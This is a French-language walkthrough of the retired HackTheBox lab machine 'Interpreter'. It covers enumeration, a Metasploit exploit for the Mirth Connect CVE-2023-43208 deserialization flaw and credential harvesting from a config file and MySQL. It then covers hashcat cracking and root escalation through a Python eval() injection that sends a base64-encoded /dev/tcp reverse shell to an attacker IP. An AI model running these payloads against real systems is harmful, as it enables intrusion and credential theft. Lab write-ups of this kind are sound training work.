Interpreter — HackTheBox

Plateforme : HackTheBox OS : Linux Statut : Retiré — walkthrough complet publié.

Walkthrough complet : l3dsec.com/walkthroughs/interpreter-htb

Chaîne d'attaque

Nmap → Mirth Connect 4.4.0 (80/443)
  → CVE-2023-43208 désérialisation Java non authentifiée RCE
    → Shell en tant que mirth
      → mirth.properties → identifiants MySQL
        → MySQL → hash PBKDF2 de sedric → hashcat → SSH → USER FLAG
          → notif.py exécuté en root sur 127.0.0.1:54321
            → injection eval() via POST XML → ROOT SHELL → ROOT FLAG

1. Énumération

nmap -sV -sC <TARGET_IP> -Pn

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 (Debian)
80/tcp  open  http    Jetty (Mirth Connect)
443/tcp open  ssl     Jetty SSL (Mirth Connect)

Empreinte de version via l'API REST de Mirth :

curl -sk https://<TARGET_IP>/api/server/version -H "X-Requested-With: XMLHttpRequest"
# Returns: 4.4.0

2. Point d'entrée initial — CVE-2023-43208

Mirth Connect 4.4.0 est vulnérable à une RCE non authentifiée via désérialisation Java :

use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS <TARGET_IP>
set RPORT 443
set LHOST <ATTACKER_IP>
set FETCH_WRITABLE_DIR /tmp
set payload cmd/unix/reverse_bash
exploit

Shell en tant que mirth.

3. Collecte d'identifiants

find / -name "mirth.properties" 2>/dev/null
# /usr/local/mirthconnect/conf/mirth.properties
# database.username = mirthdb
# database.password = <redacted>
# database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

mysql -u mirthdb -p'<db_password>' mc_bdd_prod

L'énumération MySQL révèle l'utilisateur sedric avec un hash PBKDF2, et un canal HL7 qui transmet du XML vers http://127.0.0.1:54321/addPatient.

4. User Flag — Cassage de hash

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Hash cassé. Connexion SSH en tant que sedric, lecture de /home/sedric/user.txt.

5. Élévation de privilèges — Injection eval()

notif.py s'exécute en root et écoute sur 127.0.0.1:54321/addPatient — le même endpoint vers lequel Mirth transmet le XML. Il passe le champ XML firstname directement à la fonction eval() de Python.

Payload depuis le shell mirth :

import urllib.request, base64
from urllib.request import Request

cmd = "bash -i >& /dev/tcp/<ATTACKER_IP>/9004 0>&1"
b64 = base64.b64encode(cmd.encode()).decode()
inj = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"
xml = f"<patient><firstname>{inj}</firstname><lastname>x</lastname></patient>"

req = Request(
    "http://127.0.0.1:54321/addPatient",
    data=xml.encode(),
    headers={"Content-Type": "application/xml"}
)
urllib.request.urlopen(req)

Shell root reçu sur le listener.

Flags

Flag	Valeur
User	`redacted`
Root	`redacted`

À des fins éducatives uniquement. Ne testez que les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.

Populaires

Interpreter-HackTheBox